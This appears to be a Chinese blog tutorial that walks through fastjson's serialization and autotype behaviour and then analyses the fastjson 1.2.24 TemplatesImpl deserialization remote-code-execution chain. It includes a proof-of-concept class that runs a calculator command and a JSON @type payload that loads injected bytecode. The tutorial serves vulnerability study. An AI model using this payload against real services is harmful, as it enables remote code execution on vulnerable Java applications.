从0开始fastjson漏洞分析
阅读原文时间:2021年05月18日阅读:1

  关于fastjson漏洞利用参考:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html

  fastjson这个漏洞出来了很久,一直没时间分析,耽搁了,今天捡起来

  因为我们要分析fastjson相关漏洞,所以我们先去学习fastjson的基础使用,如果我们连fastjson都不知道,更何谈漏洞分析呢?

  首先先搭建相关漏洞环境:

  使用maven,非常方便我们切换相关漏洞版本:

  pom.xml:


http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
4.0.0

<groupId>groupId</groupId>  
<artifactId>Java\_Test</artifactId>  
<version>1.0-SNAPSHOT</version>

<dependencies>  
    <!-- https://mvnrepository.com/artifact/com.google.common/google-collect -->  
    <!-- https://mvnrepository.com/artifact/com.google.guava/guava -->  
    <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->  
<!--fastjson1.2.24环境安装-->  
    <dependency>  
        <groupId>com.alibaba</groupId>  
        <artifactId>fastjson</artifactId>  
        <version>1.2.24</version>  
    </dependency>

    <dependency>  
        <groupId>junit</groupId>  
        <artifactId>junit</artifactId>  
        <version>RELEASE</version>  
        <scope>compile</scope>  
    </dependency>  
</dependencies>  
<properties>  
    <maven.compiler.source>8</maven.compiler.source>  
    <maven.compiler.target>8</maven.compiler.target>  
</properties>

 

  然后点击刷新按钮,会自动帮我们安装相关依赖

  至此,我们就拥有了fastjson环境

  什么是fastjson?

      fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。

  简单点说就是帮我们处理json数据的

      搓个demo:

    Student.java:

package com.test.fastjson;

public class Student {
private int id;
private String name;
private int age;

public Student(){

}  
public Student(int id, String name, int age) {  
    this.id = id;  
    this.name = name;  
    this.age = age;  
}

public int getId() {  
    return id;  
}

public void setId(int id) {  
    this.id = id;  
}

public String getName() {  
    return name;  
}

public void setName(String name) {  
    this.name = name;  
}

public int getAge() {  
    return age;  
}

public void setAge(int age) {  
    this.age = age;  
}

@Override  
public String toString() {  
    return "Student{" +  
            "id=" + id +  
            ", name='" + name + '\\'' +  
            ", age=" + age +  
            '}';  
}  

}

  Teacher.java:

package com.test.fastjson;

import java.util.List;

public class Teacher {
private int id;
private String name;
private List studentList;
public Teacher(){

}

public Teacher(int id, String name, List<Student> studentList) {  
    this.id = id;  
    this.name = name;  
    this.studentList = studentList;  
}

public int getId() {  
    return id;  
}

public void setId(int id) {  
    this.id = id;  
}

public String getName() {  
    return name;  
}

public void setName(String name) {  
    this.name = name;  
}

public List<Student> getStudentList() {  
    return studentList;  
}

public void setStudentList(List<Student> studentList) {  
    this.studentList = studentList;  
}

@Override  
public String toString() {  
    return "Teacher{" +  
            "id=" + id +  
            ", name='" + name + '\\'' +  
            ", studentList=" + studentList +  
            '}';  
}  

}

  编写测试类:

@Test
public void fastjson_test1(){
Student student = new Student(1,"jack",24);
System.out.println(JSON.toJSON(student));
}

  把对象转换成json格式数据

  支持复杂的对象转换json处理:  

@Test
public void fastjson_test2(){
List studentList = new ArrayList();
for(int i=0;i<4;i++){ Student student = new Student(i, "jack" + i, 23 + i); studentList.add(student); } List teacherList = new ArrayList();
Teacher teacher = new Teacher();
teacher.setStudentList(studentList);
System.out.println(JSON.toJSON(teacher));
}

  

  除了使用toJSON方法转换外,还可以使用toJSONString方法:

@Test
public void fastjson_test3(){
Student student = new Student(1,"jack",24);
System.out.println(JSON.toJSONString(student));
}

  

  查看返回类型,String类型

  

  说明是把student对象数据转换成字符串json数据

  JSON.toJSONString的扩展:   

  需求如下:只需要Student对象的id和age字段,不要name字段,怎么做?

@Test
public void fastjson_test4(){
Student student = new Student(1,"jack",24);
//过滤只要id和age字段
SimplePropertyPreFilter filter = new SimplePropertyPreFilter(Student.class,"id","age");
String value = JSON.toJSONString(student, filter);
System.out.println(value);
}

  设置保留id和age字段

  

  通过上面的学习知道了如果想把对象转换成json数据可以使用JSON.toJSON,或者使用JSON.toJSONString

  我们继续学习,下一步我们尝试把json数据转换成对象,还原我们的对象:

//反序列化,str类型数据转换成class类型对象
@Test
public void fastjson_test5(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student);
System.out.println("转换成json数据");
System.out.println(value);
System.out.println("str类型json数据转换成class类型对象");
System.out.println(JSON.parseObject(value, Student.class));
}

  

  通过上面代码,我们可以发现一个重点:

    fastjson会处理字符串类型的json数据,上面的value变量是字符串类型,这对我们后续漏洞分析很有帮助

继续扩展JSON.toJSONString:

@Test
public void fastjson_test6(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(value);
Student student1 = JSON.parseObject(value, Student.class);
System.out.println(student1);
}

    

  把结果输出出来:

{"@type":"com.test.fastjson.Student","age":24,"id":1,"name":"jack"}
Student{id=1, name='jack', age=24}

  发现多了个@type字段,说明了我们Student对象转换成json数据的数据类型,告诉我们是com.test.fastjson.Student类型的数据被转换成json数据了.

  我们继续学习:

    前面说了fastjson会处理我们的字符串json,直接写一段字符串json数据:

@Test  
public void fastjson\_test7(){  
    String jsonStr="{\\"age\\":24,\\"id\\":1,\\"name\\":\\"jack\\"}";  
    System.out.println(jsonStr);  
    System.out.println(getType(jsonStr));  
    System.out.println(JSON.parseObject(jsonStr));  
}

  

  我们这样写,会发现最后字符串json没有转换成对象

  为什么?

  因为fastjson找不到我们要转换的json数据在哪个类,这里我们要声明类型:

  再次修改:

@Test
public void fastjson_test7(){
String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
System.out.println(getType(jsonStr));
System.out.println(JSON.parseObject(jsonStr));
}

  

   有意思的地方来了,声明类型后的字符串json数据,fastjson并没有把它转换成对象:

  深入跟踪下:

   在JSON.parseObject处打个断点:

跟进去:

    

  继续进函数:

    

value=Student{id=1, name='jack', age=24}

  继续下一步:

    

return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);

  判断引用obj指向的对象是否是JSONObject,如果是就直接返回,否则就返回toJSON处理:

  继续下一步执行:

    

  熟悉吧toJSON,把我们的student对象再次转换成了json数据…:

    那么最后的返回就是:

    

  解决办法:使用parse替换parseObject:

@Test
public void fastjson_test7(){
String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
System.out.println(getType(jsonStr));
System.out.println(JSON.parse(jsonStr));
}

  这一次,我们成功把字符串json数据转换成了对象:  

  可能作为开发,到这一步已经学完了基础的常用用法,但是对于安全来说,这里可能是否可能会存在安全隐患呢?

  猜测:fastjson会根据我们申明的类型,fastjson在反序列化我们的字符串json数据的时候,会把它转换成对象,那么如果我们的type字段上输入恶意类,是否会在java反序列化的时候导致安全问题呢?

  这就是fastjson安全漏洞的最初产生,恶意修改type类,导致安全问题

  深入研究fastjson的对象转json,json转对象的调用机制:

  修改我们的Student.java:

package com.test.fastjson;

public class Student {
private int id;
private String name;
private int age;

public Student(int id, String name, int age) {  
    this.id = id;  
    this.name = name;  
    this.age = age;  
}

public int getId() {  
    return id;  
}

public void setId(int id) {  
    this.id = id;  
}

public String getName() {  
    return name;  
}

public void setName(String name) {  
    this.name = name;  
}

public int getAge() {  
    return age;  
}

public void setAge(int age) {  
    this.age = age;  
}

@Override  
public String toString() {  
    return "Student{" +  
            "id=" + id +  
            ", name='" + name + '\\'' +  
            ", age=" + age +  
            '}';  
}  

}

  消除我们的构造方法:

    编写测试方法:

@Test
public void fastjson_test6(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(value);
Student student1 = JSON.parseObject(value, Student.class);
System.out.println(student1);
}

    

  直接报错了,发现我们json转str失败,我们反序列化失败,报错提示默认的构造方法不存在,说明前置条件1:fastjson反序列化必须要构造方法

  再次修改student.java:

package com.test.fastjson;

public class Student {
private int id;
private String name;
private int age;

public Student(){  
    System.out.println("你必须调用我");  
}  
public Student(int id, String name, int age) {  
    this.id = id;  
    this.name = name;  
    this.age = age;  
}

public int getId() {  
    return id;  
}

public void setId(int id) {  
    this.id = id;  
}

public String getName() {  
    return name;  
}

public void setName(String name) {  
    this.name = name;  
}

public int getAge() {  
    return age;  
}

public void setAge(int age) {  
    this.age = age;  
}

@Override  
public String toString() {  
    return "Student{" +  
            "id=" + id +  
            ", name='" + name + '\\'' +  
            ", age=" + age +  
            '}';  
}  

}

  再次运行上面的测试方法:

    

    继续探索:

    再次修改student.java:

package com.test.fastjson;

public class Student {
private int id;
private String name;
private int age;

public Student(){  
    System.out.println("你必须调用我");  
}  
public Student(int id, String name, int age) {  
    this.id = id;  
    this.name = name;  
    this.age = age;  
}

public int getId() {  
    return id;  
}

public void setId(int id) {  
    this.id = id;  
    System.out.println("setId被调用");  
}

public String getName() {  
    return name;  
}

public void setName(String name) {  
    this.name = name;  
}

public int getAge() {  
    return age;  
}

public void setAge(int age) {  
    this.age = age;  
}

@Override  
public String toString() {  
    return "Student{" +  
            "id=" + id +  
            ", name='" + name + '\\'' +  
            ", age=" + age +  
            '}';  
}  

}

  在set方法中新增了一条输出语句

    再次运行上面的测试方法:

    

  尝试删除set方法:

    修改student.java:

package com.test.fastjson;

public class Student {
private int id;
private String name;
private int age;

public Student(){  
    System.out.println("你必须调用我");  
}  
public Student(int id, String name, int age) {  
    this.id = id;  
    this.name = name;  
    this.age = age;  
}

public int getId() {  
    return id;  
}

// public void setId(int id) {
// this.id = id;
// System.out.println("setId被调用");
// }

public String getName() {  
    return name;  
}

public void setName(String name) {  
    this.name = name;  
}

public int getAge() {  
    return age;  
}

public void setAge(int age) {  
    this.age = age;  
}

@Override  
public String toString() {  
    return "Student{" +  
            "id=" + id +  
            ", name='" + name + '\\'' +  
            ", age=" + age +  
            '}';  
}  

}

  代码中注释了setId方法

  再次运行:

  

  结论:反序列化对象的时候,如果对象中的属性定义是private,那么必须设置set方法,protected修饰符也是一样,必须设置set方法

  只有set方法,没有定义get方法可以被反序列化吗?

    注释掉get方法,保留set方法:

    

   结论:不可以,最起码在JSON.parseObject下是不可以的

  总结:使用JSON.parseObject反序列化的时候,属性字段如果是private和protected修饰的时候,必须有set和get方法,否则可能导致某些字段反序列化失败

  再次修改student.java文件:

package com.test.fastjson;

public class Student {
public int id;
private String name;
private int age;

public Student(){  
    System.out.println("你必须调用我");  
}  
public Student(int id, String name, int age) {  
    this.id = id;  
    this.name = name;  
    this.age = age;  
}

// public int getId() {
// return id;
// }

// public void setId(int id) {
// this.id = id;
// System.out.println("setId被调用");
// }

public String getName() {  
    return name;  
}

public void setName(String name) {  
    this.name = name;  
}

public int getAge() {  
    return age;  
}

public void setAge(int age) {  
    this.age = age;  
}

@Override  
public String toString() {  
    return "Student{" +  
            "id=" + id +  
            ", name='" + name + '\\'' +  
            ", age=" + age +  
            '}';  
}  

}

    修改private为public,注释掉set和get方法

  再次运行测试方法:

    

  结论:public字段下,set/get可有可无

  还是回到priavte字段问题,再次修改student.class:

package com.test.fastjson;

public class Student {
private int id;
private String name;
private int age;

public Student(){  
    System.out.println("你必须调用我");  
}  
public Student(int id, String name, int age) {  
    this.id = id;  
    this.name = name;  
    this.age = age;  
}

public int getId() {  
    return id;  
}

// public void setId(int id) {
// this.id = id;
// System.out.println("setId被调用");
// }

public String getName() {  
    return name;  
}

public void setName(String name) {  
    this.name = name;  
}

public int getAge() {  
    return age;  
}

public void setAge(int age) {  
    this.age = age;  
}

@Override  
public String toString() {  
    return "Student{" +  
            "id=" + id +  
            ", name='" + name + '\\'' +  
            ", age=" + age +  
            '}';  
}  

}

  注释了set方法,保留get方法:

   前面说了,set和get方法缺一不可,所以我们JSON.ParseObject,一定是反序列化失败的

   是否有解决方案?

      修改测试方法为:

@Test
public void fastjson_test6(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(value);
Student student1 = JSON.parseObject(value, Student.class,Feature.SupportNonPublicField);
System.out.println(student1);
}

  再次运行:

  Feature.SupportNonPublicField可以让我们忽略设置set方法,只要设置get方法,就能达成反序列化

  最终结论总结:fastjson反序列化依赖于set和get方法,而且必须要有构造方法,最优先调用的是构造方法,fastjson设置Feature.SupportNonPublicField,可以忽略set方法,JSON.Parse反序列化和JSON.ParseObject一样

   好了,基础部分全部讲完了,包括他反序列化和字段以及构造方法的调用问题

  下面介绍fastjson第一个漏洞:

    利用链:Fastjson 1.2.24 远程代码执⾏&&TemplatesImpl,依赖Feature.SupportNonPublicField 利用链比较鸡肋

   但是分析这条利用链,可以让你很清楚知道fastjson内部是怎么进行序列化的,反序列化的,通过前面写的demo,我们已经对fastjson内部处理对象和json转换对象有了较为详细的认知

     poc构造:我是mac,windows直接calc即可:

      Poc1.java:

package com.test.fastjson;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Poc1 extends AbstractTranslet {
public Poc1() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override  
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String\[\] args) throws IOException {  
    Poc1 poc1 = new Poc1();  
}  

}

  编译运行一次生成字节码,然后全局base64编码:

    

   反序列化攻击:

    AttackPoc1.java:

package com.test.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class AttackPoc1 {
public static void main(String[] args) throws ClassNotFoundException {
String payload3= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n" +
"[\"刚刚生成的base64编码的字节码数据\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n" +
"{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
JSON.parseObject(payload,Feature.SupportNonPublicField);
}
}

  运行: 

 

   成功命令执行弹窗计算器

  原理分析,先抛出疑惑点:

    去除Feature.SupportNonPublicField还可以命令执行吗?

    

  运行没有命令执行,前面我们学习了Feature.SupportNonPublicField是当我们设置get方法,而没有设置set方法的补救,即使没有set方法也会帮我们反序列化成功

  跟进TemplatesImpl类:可以debug进去,这里我选择反射进去:

Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

   以这个字段为例:

    

    

  搜索setOutputProperties:

    

  所以我们他一定要依赖于Feature.SupportNonPublicField

     打个断点,深入跟踪下:

      解决我们的几个疑惑

      (1)为什么_bytecodes定义的数据得是base64编码

      (2)fastjson反序列化是怎么走的?

  下个断点:  

  

  先搞清楚第一个问题bytecodes字节码为什么是base64编码:

  判断开头输入是否是{:

  继续往下:

    

  设置token为12,很重要,后面的判断都要基于token:

  

  一直下一步执行:

    

通过loadClass加载我们的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类:

  集合存储恶意类:

    

然后不断判断我们的clazz是什么类型:

  

  不符合条件就继续往下找:

  通过反射获取所有的方法

      

判断方法的定义规则:

  

if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
Class[] types = method.getParameterTypes();

  方法名字要符合这个条件:

  获取字段:

    

  debug真的脑子疼:

  重点来了:

    反序列化字段:

    

  继续往下跟:

    

    继续往下:

    

   最后出函数调用parseObject:

  最后执行命令:

    

2.bytescodes base编码原由:

反序列化的时候调用:

byte[] bytes = lexer.bytesValue();
lexer.nextToken(16);

    

会调用base64解码:

静态调试下:

    

  跟进方法:

  

  方法在接口类中,找接口实现类:

    搜索到一个:

    

  进去:

    

  发现是个抽象类:

    java基础核心概念:    

如果想实现抽象类中的方法,需要子类继承父类,然后重写方法.

  寻找他的子类:

    

  查看他的子类:

  

  他的父类是object:

    

  选择他的子类进去看看:

     搜索byteValue,查看其函数实现:

    

   至此第一条鸡肋的利用链分析完毕,明天我分析下不鸡肋的利用链,利用jndi注入直接rce